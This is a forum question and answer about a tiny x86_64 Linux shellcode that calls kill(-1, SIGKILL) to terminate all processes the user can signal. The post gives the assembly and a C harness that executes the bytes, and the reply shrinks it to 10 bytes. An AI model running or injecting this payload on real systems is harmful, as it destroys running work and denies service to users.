A simple shellcode that will kill all your processes GNU/Linux x86_64 So I made a simple shellcode that will kill all your process.
Now I would like to know, can it be done in some better way?
It contains 13 bytes. Thanks for all your feedback

Assembly:

 global _start

 section .text

 _start:

     xor rax, rax
     add al, 0x3e
     dec rdi
     push 0x9
     pop rsi
     syscall


Equivalent in C:

#include&lt;stdio.h&gt;
#include&lt;string.h&gt;



unsigned char code[] = 
"\x48\x31\xc0\x04\x3e\x48\xff\xcf\x6a\x09\x5e\x0f\x05";



int main()
{
  printf("Shellcode Length:  %d\n", (int) strlen(code));

  int (*ret)() = (int(*)())code;

  ret(0);
}
Now I would like to know, can it be done in some better way? It contains 13 bytes.


From this I conclude that by better you mean shorter.

You can easily bring this down to 11 bytes if you duplicate the method that was used to fill RSI for the setup of RAX.

push 0x3e
pop  rax
dec  rdi
push 0x9
pop  rsi
syscall




The instruction dec rdi depends on the existing value of RDI.
If you know that its lowest 32 bits are non-zero, then you can write dec edi instead, and lose the REX.W prefix. ( -> 10 bytes)

push 0x3e
pop  rax
dec  edi
push 0x9
pop  rsi
syscall




But the most important improvement you can make is of course writing comments.
For now those numbers 0x3E and 0x09 are just magic numbers. What do they mean?
That's what everyone that reads your code is interested in knowing.